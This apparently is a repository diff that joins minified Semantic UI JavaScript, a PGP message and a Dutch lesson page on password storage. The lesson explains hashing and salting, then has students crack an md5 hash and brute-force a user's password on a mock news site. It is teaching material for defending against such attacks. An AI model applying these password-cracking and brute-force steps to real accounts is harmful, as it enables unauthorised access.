t=w.data(p.maxRating)||f.maxRating;d.debug("Generating icon html dynamically"),w.html(e.fn.rating.settings.templates.icon(t)),d.refresh()}},event:{mouseenter:function(){var t=e(this);t.nextAll().removeClass(g.selected),w.addClass(g.selected),t.addClass(g.selected).prevAll().addClass(g.selected)},mouseleave:function(){w.removeClass(g.selected),C.removeClass(g.selected)},click:function(){var t=e(this),n=d.getRating(),i=C.index(t)+1,o="auto"==f.clearable?1===C.length:f.clearable;o&&n==i?d.clearRating():d.setRating(i)}},clearRating:function(){d.debug("Clearing current rating"),d.setRating(0)},getRating:function(){var e=C.filter("."+g.active).length;return d.verbose("Current rating retrieved",e),e},enable:function(){d.debug("Setting rating to interactive mode"),C.on("mouseenter"+h,d.event.mouseenter).on("mouseleave"+h,d.event.mouseleave).on("click"+h,d.event.click),w.removeClass(g.disabled)},disable:function(){d.debug("Setting rating to read-only mode"),C.off(h),w.addClass(g.disabled)},setRating:function(e){var t=e-1>=0?e-1:0,n=C.eq(t);w.removeClass(g.selected),C.removeClass(g.selected).removeClass(g.active),e>0&&(d.verbose("Setting current rating to",e),n.prevAll().andSelf().addClass(g.active)),f.onRate.call(y,e)},setting:function(t,n){if(d.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,d,t);else{if(n===i)return d[t];d[t]=n}},debug:function(){f.debug&&(f.performance?d.performance.log(arguments):(d.debug=Function.prototype.bind.call(console.info,console,f.name+":"),d.debug.apply(console,arguments)))},verbose:function(){f.verbose&&f.debug&&(f.performance?d.performance.log(arguments):(d.verbose=Function.prototype.bind.call(console.info,console,f.Line truncated
|
||||
}},unbind:{clickaway:function(){C.verbose("Removing clickaway events from context",O),O.off(b)},scrollLock:function(){C.verbose("Removing scroll lock from page"),c.off(b),s.off(b),D.off("scroll"+F)}},add:{bodyCSS:function(){var t,n=D.outerWidth(),i=D.outerHeight(),o=C.get.direction(),a={left:n,right:-n,top:i,bottom:-i};C.is.rtl()&&(C.verbose("RTL detected, flipping widths"),a.left=-n,a.right=n),t='<style title="'+A+'">',"left"===o||"right"===o?(C.debug("Adding CSS rules for animation distance",n),t+=" .ui.visible."+o+".sidebar ~ .fixed, .ui.visible."+o+".sidebar ~ .pusher { -webkit-transform: translate3d("+a[o]+"px, 0, 0); transform: translate3d("+a[o]+"px, 0, 0); }"):("top"===o||"bottom"==o)&&(t+=" .ui.visible."+o+".sidebar ~ .fixed, .ui.visible."+o+".sidebar ~ .pusher { -webkit-transform: translate3d(0, "+a[o]+"px, 0); transform: translate3d(0, "+a[o]+"px, 0); }"),C.is.ie()&&("left"===o||"right"===o?(C.debug("Adding CSS rules for animation distance",n),t+=" .ui.visible."+o+".sidebar ~ .pusher:after { -webkit-transform: translate3d("+a[o]+"px, 0, 0); transform: translate3d("+a[o]+"px, 0, 0); }"):("top"===o||"bottom"==o)&&(t+=" .ui.visible."+o+".sidebar ~ .pusher:after { -webkit-transform: translate3d(0, "+a[o]+"px, 0); transform: translate3d(0, "+a[o]+"px, 0); }"),t+=" .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after, .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after { -webkit-transform: translate3d(0px, 0, 0); transform: translate3d(0px, 0, 0); }"),t+="</style>",u.append(t),r=e("style[title="+A+"]"),C.debug("Adding sizing css to head",r)}},refresh:function(){C.verbose("Refreshing selector cache"),O=e(T.context),z=O.children(k.sidebar),q=O.children(k.pusher),j=O.children(k.fixed)},refreshSidebars:function(){C.verbose("Refreshing other sidebars"),z=O.children(k.sidebar)},repaint:function(){C.verbose("Forcing repaint event"),N.style.display="none",N.offsetHeight,N.scrollTop=N.scrollTop,N.style.display=""},setup:{layout:function(){0===O.children(k.pusher).length&&(C.debug("Adding wrapper element for sidebar"),C.error(E.pusher),q=e('<div class="pusher" />'),O.children().not(k.omitted).not(z).wrapAll(q),C.refresh()),(0===D.nextAll(k.pusher).length||D.nextAll(k.pusher)[0]!==q[0])&&(C.debug("Moved sidebar to correct parent element"),C.error(E.movedSidebar,N),D.detach().prependTo(O),C.refresh()),C.set.pushable(),C.set.direction()}},attachEvents:function(t,n){var i=e(t);n=e.isFunction(C[n])?C[n]:C.toggle,i.length>0?(C.debug("Attaching sidebar events to element",t,n),i.on("click"+F,n)):C.error(E.notFound,t)},show:function(t){var n=T.useLegacy===!0?C.legacyPushPage:C.pushPage;t=e.isFunction(t)?t:function(){},C.is.hidden()?(C.refreshSidebars(),T.overlay&&(C.error(E.overlay),T.transition="overlay"),C.refresh(),C.othersActive()&&"overlay"!==C.get.transition()&&(C.debug("Other sidebars currently visible"),T.transition="overlay",T.exclusive&&C.hideOthers()),n(function(){t.call(N),T.onShow.call(N)}),T.onChange.call(N),T.onVisible.call(N)):C.debug("Sidebar is already visible")},hide:function(t){var n=T.useLegacy===!0?C.legacyPullPage:C.pullPage;t=e.isFunction(t)?t:function(){},(C.is.visible()||C.is.animating())&&(C.debug("Hiding sidebar",t),C.refreshSidebars(),n(function(){t.call(N),T.onHidden.call(N)}),T.onChange.call(N),T.onHide.call(N))},othersAnimating:function(){return z.not(D).filter("."+S.animating).length>0},othersVisible:function(){return z.not(D).filter("."+S.visible).length>0},othersActive:function(){return C.othersVisible()||C.othersAnimating()},hideOthers:function(e){var t=z.not(D).filter("."+S.visible),n=t.length,i=0;e=e||function(){},t.sidebar("hide",function(){i++,i==n&&e()})},toggle:function(){C.verbose("Determining toggled direction"),C.is.hidden()?C.show():C.hide()},pushPage:function(t){var n,i,o=C.get.transition(),a="safe"==o?O:"overlay"===o||C.othersActive()?D:q;t=e.isFunction(t)?t:function(){},"scale down"==T.transition&&C.scrollToTop(),C.set.transition(o),C.repaint(),n=function(){C.bind.clickaway(),C.add.bodyCSS(),C.set.animating(),C.set.visible(),C.othersVisible()||T.dimPage&&q.addClass(S.dimmed)},i=function(e){e.target==a[0]&&(a.off(w+b,i),C.remove.animating(),C.bind.scrollLock(),t.call(N))},a.off(w+b),a.on(w+b,i),h(n)},pullPage:function(t){var n,i,o=C.get.transition(),a="safe"==o?O:"overlay"==o||C.othersActive()?D:q;t=e.isFunction(t)?t:function(){},C.verbose("Removing context push state",C.get.direction()),C.set.transition(o),C.unbind.clickaway(),C.unbind.scrollLock(),n=function(){C.set.animating(),C.remove.visible(),T.dimPage&&!C.othersVisible()&&q.removeClass(S.dimmed)},i=function(e){e.target==a[0]&&(a.off(w+b,i),C.remove.animating(),C.remove.transition(),C.remove.bodyCSS(),("scale down"==o||T.returnScroll&&C.is.mobile())&&C.scrollBack(),t.call(N))},a.off(w+b),a.on(w+b,i),h(n)},legacyPushPage:function(t){var n=D.width(),i=C.get.direction(),o={};n=n||D.width(),t=e.isFunction(t)?t:function(){},o[i]=nLine truncated
|
||||
if(!t.allowRepeats&&T.is.occurring())return T.debug("Animation is already occurring, will not execute repeated animation",t.animation),!1}T.can.animate()?T.set.animating(t.animation):T.error(g.noAnimation,t.animation,S)},reset:function(){T.debug("Resetting animation to beginning conditions"),T.remove.animationEndCallback(),T.restore.conditions(),T.remove.animating()},queue:function(e){T.debug("Queueing animation of",e),T.queuing=!0,k.one(b+C,function(){T.queuing=!1,T.repaint(),T.animate.apply(this,t)})},complete:function(){T.verbose("CSS animation complete",t.animation),T.remove.animationEndCallback(),T.remove.failSafe(),T.is.looping()||(T.is.outward()?(T.verbose("Animation is outward, hiding element"),T.restore.conditions(),T.hide(),t.onHide.call(this)):T.is.inward()?(T.verbose("Animation is outward, showing element"),T.restore.conditions(),T.show(),T.set.display(),t.onShow.call(this)):T.restore.conditions(),T.remove.animation(),T.remove.animating()),t.onComplete.call(this)},has:{direction:function(n){var i=!1;return n=n||t.animation,"string"==typeof n&&(n=n.split(" "),e.each(n,function(e,t){(t===p.inward||t===p.outward)&&(i=!0)})),i},inlineDisplay:function(){var t=k.attr("style")||"";return e.isArray(t.match(/display.*?;/,""))}},set:{animating:function(e){e=e||t.animation,T.is.animating()||T.save.conditions(),T.remove.direction(),T.remove.animationEndCallback(),T.can.transition()&&!T.has.direction()&&T.set.direction(),T.remove.hidden(),T.set.display(),k.addClass(p.animating+" "+p.transition+" "+e).addClass(e).one(b+".complete"+C,T.complete),t.useFailSafe&&T.add.failSafe(),T.set.duration(t.duration),t.onStart.call(this),T.debug("Starting tween",e,k.attr("class"))},duration:function(e,n){n=n||t.duration,n="number"==typeof n?n+"ms":n,T.verbose("Setting animation duration",n),(n||0===n)&&k.css({"-webkit-animation-duration":n,"-moz-animation-duration":n,"-ms-animation-duration":n,"-o-animation-duration":n,"animation-duration":n})},display:function(){var e=T.get.style(),t=T.get.displayType(),n=e+"display: "+t+" !important;";k.css("display",""),T.refresh(),k.css("display")!==t&&(T.verbose("Setting inline visibility to",t),k.attr("style",n))},direction:function(){k.is(":visible")&&!T.is.hidden()?(T.debug("Automatically determining the direction of animation","Outward"),k.removeClass(p.inward).addClass(p.outward)):(T.debug("Automatically determining the direction of animation","Inward"),k.removeClass(p.outward).addClass(p.inward))},looping:function(){T.debug("Transition set to loop"),k.addClass(p.looping)},hidden:function(){T.is.hidden()||(k.addClass(p.transition).addClass(p.hidden),"none"!==k.css("display")&&(T.verbose("Overriding default display to hide element"),k.css("display","none")))},visible:function(){k.addClass(p.transition).addClass(p.visible)}},save:{displayType:function(e){k.data(v.displayType,e)},transitionExists:function(t,n){e.fn.transition.exists[t]=n,T.verbose("Saving existence of transition",t,n)},conditions:function(){k.attr("class")||!1,k.attr("style")||"";k.removeClass(t.animation),T.remove.direction(),T.cache={className:k.attr("class"),style:T.get.style()},T.verbose("Saving original attributes",T.cache)}},restore:{conditions:function(){return T.cache===i?!1:(T.cache.className?k.attr("class",T.cache.className):k.removeAttr("class"),T.cache.style&&(T.verbose("Restoring original style attribute",T.cache.style),k.attr("style",T.cache.style)),T.is.looping()&&T.remove.looping(),void T.verbose("Restoring original attributes",T.cache))}},add:{failSafe:function(){var e=T.get.duration();T.timer=setTimeout(T.complete,e+100),T.verbose("Adding fail safe timer",T.timer)}},remove:{animating:function(){k.removeClass(p.animating)},animation:function(){k.css({"-webkit-animation":"","-moz-animation":"","-ms-animation":"","-o-animation":"",animation:""})},animationEndCallback:function(){k.off(".complete")},display:function(){k.css("display","")},direction:function(){k.removeClass(p.inward).removeClass(p.outward)},failSafe:function(){T.verbose("Removing fail safe timer",T.timer),T.timer&&clearTimeout(T.timer)},hidden:function(){k.removeClass(p.hidden)},visible:function(){k.removeClass(p.visible)},looping:function(){T.debug("Transitions are no longer looping"),k.removeClass(p.looping),T.forceRepaint()},transition:function(){k.removeClass(p.visible).removeClass(p.hidden)}},get:{settings:function(t,n,i){return"object"==typeof t?e.extend(!0,{},e.fn.transition.settings,t):"function"==typeof i?e.extend({},e.fn.transition.settings,{animation:t,onComplete:i,duration:n}):"string"==typeof n||"number"==typeof n?e.extend({},e.fn.transition.settings,{animation:t,duration:n}):"object"==typeof n?e.extend({},e.fn.transition.settings,n,{animation:t}):"function"==typeof n?e.extend({},e.fn.transition.settings,{animation:t,onComplete:n}):e.extend({},e.fn.transition.settings,{animation:t})},duration:function(e){return e=e||t.duration,e===!1&&(e=k.css("animation-duration")||0),"string"==typeof e?e.indexOf("ms")>-1?parseFloat(e):1e3*Line truncated
|
||||
}):c.fadeOut(s.duration,function(){c.remove()}))}},set:{success:function(){o.removeClass(f.error).addClass(f.success)},defaults:function(){l.each(function(){var t=e(this),n=t.filter(d.checkbox).length>0,i=n?t.is(":checked"):t.val();t.data(u.defaultValue,i)})},error:function(){o.removeClass(f.success).addClass(f.error)},value:function(e,n){var i={};return i[e]=n,t.set.values.call(E,i)},values:function(n){e.isEmptyObject(n)||(e.each(n,function(e,n){var i=t.get.field(e),o=i.parent(),a=o.is(d.uiCheckbox),r=o.is(d.uiDropdown),s=i.is(d.radio),c=i.length>0;c&&(s&&a?(t.verbose("Selecting radio value",n,i),i.filter('[value="'+n+'"]').parent(d.uiCheckbox).checkbox("check")):a?(t.verbose("Setting checkbox value",n,o),o.checkbox(n===!0?"check":"uncheck")):r?(t.verbose("Setting dropdown value",n,o),o.dropdown("set selected",n)):(t.verbose("Setting field value",n,i),i.val(n)))}),t.validate.form())}},validate:{form:function(n){var a=!0;return P?!1:(A=[],e.each(c,function(e,n){t.validate.field(n)||(a=!1)}),a?(t.debug("Form has no validation errors, submitting"),t.set.success(),s.onSuccess.call(E,n)):(t.debug("Form has errors"),t.set.error(),s.inline||t.add.errors(A),o.data("moduleApi")!==i&&n.stopImmediatePropagation(),s.onFailure.call(E,A)))},field:function(n){var o=t.get.field(n.identifier),a=!0,r=[];return o.prop("disabled")?(t.debug("Field is disabled. Skipping",n.identifier),a=!0):n.optional&&""===e.trim(o.val())?(t.debug("Field is optional and empty. Skipping",n.identifier),a=!0):n.rules!==i&&e.each(n.rules,function(e,i){t.has.field(n.identifier)&&!t.validate.rule(n,i)&&(t.debug("Field is invalid",n.identifier,i.type),r.push(i.prompt),a=!1)}),a?(t.remove.prompt(n,r),s.onValid.call(o),!0):(A=A.concat(r),t.add.prompt(n.identifier,r),s.onInvalid.call(o,r),!1)},rule:function(n,o){var a,r,c=t.get.field(n.identifier),l=o.type,u=e.trim(c.val()+""),d=/\[(.*)\]/i,f=d.exec(l),m=!0;return f!==i&&null!==f?(a=""+f[1],r=l.replace(f[0],""),m=s.rules[r].call(E,u,a)):m=s.rules[l].call(c,u),m}},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,s,t);else{if(n===i)return s[t];s[t]=n}},internal:function(n,o){if(e.isPlainObject(n))e.extend(!0,t,n);else{if(o===i)return t[n];t[n]=o}},debug:function(){s.debug&&(s.performance?t.performance.log(arguments):(t.debug=Function.prototype.bind.call(console.info,console,s.name+":"),t.debug.apply(console,arguments)))},verbose:function(){s.verbose&&s.debug&&(s.performance?t.performance.log(arguments):(t.verbose=Function.prototype.bind.call(console.info,console,s.name+":"),t.verbose.apply(console,arguments)))},error:function(){t.error=Function.prototype.bind.call(console.error,console,s.name+":"),t.error.apply(console,arguments)},performance:{log:function(e){var n,i,o;s.performance&&(n=(new Date).getTime(),o=v||n,i=n-o,v=n,h.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:E,"Execution Time":i})),clearTimeout(t.performance.timer),t.performance.timer=setTimeout(t.performance.display,100)},display:function(){var n=s.name+":",o=0;v=!1,clearTimeout(t.performance.timer),e.each(h,function(e,t){o+=t["Execution Time"]}),n+=" "+o+"ms",p&&(n+=" '"+p+"'"),r.length>1&&(n+=" ("+r.length+")"),(console.group!==i||console.table!==i)&&h.length>0&&(console.groupCollapsed(n),console.table?console.table(h):e.each(h,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),h=[]}},invoke:function(t,n,o){var r,s,c,l=F;return n=n||x,o=E||o,"string"==typeof t&&l!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(l[a])&&n!=r)l=l[a];else{if(l[a]!==i)return s=l[a],!1;if(!e.isPlainObject(l[o])||n==r)return l[o]!==i?(s=l[o],!1):!1;l=l[o]}})),e.isFunction(s)?c=s.apply(o,n):s!==i&&(c=s),e.isArray(a)?a.push(c):a!==i?a=[a,c]:c!==i&&(a=c),s}},y?(F===i&&t.initialize(),t.invoke(b)):(F!==i&&t.destroy(),t.initialize())}),a!==i?a:this},e.fn.form.settings={name:"Form",namespace:"form",debug:!1,verbose:!0,performance:!0,keyboardShortcuts:!0,on:"submit",inline:!1,delay:200,revalidate:!0,transition:"scale",duration:200,onValid:function(){},onInvalid:function(){},onSuccess:function(){return!0},onFailure:function(){return!1},metadata:{defaultValue:"default",validate:"validate"},selector:{checkbox:'input[type="checkbox"], input[type="radio"]',clear:".clear",field:"input, textarea, select",group:".field",input:"input",message:".error.message",prompt:".prompt.label",radio:'input[type="radio"]',reset:".reset",submit:".submit",uiCheckbox:".ui.checkbox",uiDropdown:".ui.dropdown"},className:{error:"error",label:"ui prompt label",pressed:"down",success:"success"},error:{method:"The method you called is not defined."},templates:{error:function(t){var n='<ul class="list">';return e.each(t,function(e,t){n+="<li>"+t+"</li>"}),n+="</ul>",e(n)},prompt:function(t){return e("<div/>").addClass("ui red pointing prompt label").html(t[0])}},rules:{checked:function(){return e(this).filter(":checked").length>0},contains:function(e,t){retuLine truncated
|
||||
@@ -0,0 +1,17 @@
|
||||
-----BEGIN PGP MESSAGE-----
|
||||
|
||||
owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo
|
||||
YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c
|
||||
Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd
|
||||
1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R
|
||||
hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl
|
||||
l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD
|
||||
Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD
|
||||
bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl
|
||||
+1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w
|
||||
h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c
|
||||
J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3
|
||||
0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS
|
||||
aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ==
|
||||
=h6Mi
|
||||
-----END PGP MESSAGE-----
|
||||
@@ -0,0 +1,389 @@
|
||||
<h1>Wachtwoorden</h1>
|
||||
|
||||
<img src="/static/img/password.png" class="center-block">
|
||||
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk
|
||||
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
|
||||
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
|
||||
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
|
||||
<b>hashen</b>.</p>
|
||||
|
||||
<h3>Hashfunctie</h3>
|
||||
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige
|
||||
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
|
||||
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 >
|
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
|
||||
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar
|
||||
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen
|
||||
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk
|
||||
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
|
||||
dezelfde hash (brute-force).</p>
|
||||
|
||||
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker
|
||||
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
|
||||
hetzelfde wachtwoord ingevuld!</p>
|
||||
|
||||
<h3>Rainbow tables</h3>
|
||||
|
||||
<p>Zo moeilijk als het is om een hash terug te
|
||||
<i>rekenen</i>, zo makkelijk is het om een hash terug
|
||||
<i>
|
||||
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
|
||||
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
|
||||
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
|
||||
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
|
||||
aanval:</p>
|
||||
|
||||
<h3>Salt</h3>
|
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
|
||||
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
|
||||
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
|
||||
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
|
||||
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
|
||||
|
||||
<h1>Opdrachten</h1>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
|
||||
deze gebruiker?</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
|
||||
</div>
|
||||
|
||||
<h2>Nieuws</h2>
|
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden
|
||||
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
|
||||
tabel inzien.</p>
|
||||
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers
|
||||
een veelgebruikt wachtwoord.</p>
|
||||
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
|
||||
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
|
||||
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
|
||||
</div>
|
||||
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier
|
||||
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
|
||||
site wordt feestelijk weer geopend.</p>
|
||||
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een
|
||||
kort fragment van een logbestand terugvinden:</p>
|
||||
|
||||
<code class="center-block">
|
||||
...<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
|
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br>
|
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br>
|
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br>
|
||||
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
|
||||
</code>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval
|
||||
te voorkomen.</span>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/password2.jpg" class="center-block">
|
||||
|
||||
|
||||
<script>
|
||||
function utf8_encode(argString) {
|
||||
// discuss at: http://phpjs.org/functions/utf8_encode/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// improved by: sowberry
|
||||
// improved by: Jack
|
||||
// improved by: Yves Sucaet
|
||||
// improved by: kirilloid
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Onno Marsman
|
||||
// bugfixed by: Ulrich
|
||||
// bugfixed by: Rafal Kukawski
|
||||
// bugfixed by: kirilloid
|
||||
// example 1: utf8_encode('Kevin van Zonneveld');
|
||||
// returns 1: 'Kevin van Zonneveld'
|
||||
|
||||
if (argString === null || typeof argString === 'undefined') {
|
||||
return '';
|
||||
}
|
||||
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
|
||||
var string = (argString + '');
|
||||
var utftext = '',
|
||||
start, end, stringl = 0;
|
||||
|
||||
start = end = 0;
|
||||
stringl = string.length;
|
||||
for (var n = 0; n < stringl; n++) {
|
||||
var c1 = string.charCodeAt(n);
|
||||
var enc = null;
|
||||
|
||||
if (c1 < 128) {
|
||||
end++;
|
||||
} else if (c1 > 127 && c1 < 2048) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 6) | 192, (c1 & 63) | 128
|
||||
);
|
||||
} else if ((c1 & 0xF800) != 0xD800) {
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
} else {
|
||||
// surrogate pairs
|
||||
if ((c1 & 0xFC00) != 0xD800) {
|
||||
throw new RangeError('Unmatched trail surrogate at ' + n);
|
||||
}
|
||||
var c2 = string.charCodeAt(++n);
|
||||
if ((c2 & 0xFC00) != 0xDC00) {
|
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
|
||||
}
|
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
|
||||
enc = String.fromCharCode(
|
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
|
||||
);
|
||||
}
|
||||
if (enc !== null) {
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, end);
|
||||
}
|
||||
utftext += enc;
|
||||
start = end = n + 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (end > start) {
|
||||
utftext += string.slice(start, stringl);
|
||||
}
|
||||
|
||||
return utftext;
|
||||
}
|
||||
function md5(str) {
|
||||
// discuss at: http://phpjs.org/functions/md5/
|
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
|
||||
// improved by: Michael White (http://getsprink.com)
|
||||
// improved by: Jack
|
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// input by: Brett Zamir (http://brett-zamir.me)
|
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
|
||||
// depends on: utf8_encode
|
||||
// example 1: md5('Kevin van Zonneveld');
|
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
|
||||
|
||||
var xl;
|
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) {
|
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
|
||||
};
|
||||
|
||||
var addUnsigned = function (lX, lY) {
|
||||
var lX4, lY4, lX8, lY8, lResult;
|
||||
lX8 = (lX & 0x80000000);
|
||||
lY8 = (lY & 0x80000000);
|
||||
lX4 = (lX & 0x40000000);
|
||||
lY4 = (lY & 0x40000000);
|
||||
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
|
||||
if (lX4 & lY4) {
|
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
if (lX4 | lY4) {
|
||||
if (lResult & 0x40000000) {
|
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
|
||||
} else {
|
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
|
||||
}
|
||||
} else {
|
||||
return (lResult ^ lX8 ^ lY8);
|
||||
}
|
||||
};
|
||||
|
||||
var _F = function (x, y, z) {
|
||||
return (x & y) | ((~x) & z);
|
||||
};
|
||||
var _G = function (x, y, z) {
|
||||
return (x & z) | (y & (~z));
|
||||
};
|
||||
var _H = function (x, y, z) {
|
||||
return (x ^ y ^ z);
|
||||
};
|
||||
var _I = function (x, y, z) {
|
||||
return (y ^ (x | (~z)));
|
||||
};
|
||||
|
||||
var _FF = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _GG = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _HH = function (a, b, c, d, x, s, ac) {
|
